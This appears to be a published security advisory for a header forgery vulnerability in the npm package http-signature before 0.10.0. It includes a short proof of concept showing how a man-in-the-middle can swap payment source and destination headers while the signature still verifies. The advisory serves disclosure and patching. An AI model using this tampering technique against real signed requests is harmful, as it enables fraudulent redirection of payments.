High

Header Forgery in http-signature

  • Disclosed: 09.11.2018
  • Updated: 11.10.2026 10:22

Affected versions of http-signature contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature.

This problem occurs because vulnerable versions of http-signature sign the contents of headers, but not the header names.

Proof of Concept

Consider this to be the initial, untampered request:

http
POST /pay HTTP/1.1
Host: example.com
Date: Thu, 05 Jan 2012 21:31:40 GMT
X-Payment-Source: src@money.com
X-Payment-Destination: dst@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-source x-payment-destination" MDyO5tSvin5...

And the request is intercepted and tampered as follows:

http
X-Payment-Source: dst@money.com // Emails switched
X-Payment-Destination: src@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-destination x-payment-source" MDyO5tSvin5...

In the resulting responses, both requests would pass signature verification without issue.

src@money.com\n
dst@money.com\n

Recommendation

Update to version 0.10.0 or higher.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package http-signature < 0.10.0 0.10.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-20
Platform
npm
Package
http-signature
Disclosed
09.11.2018
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-q257-vv4p-fg92 - CC BY 4.0

Vulnerability history: http-signature

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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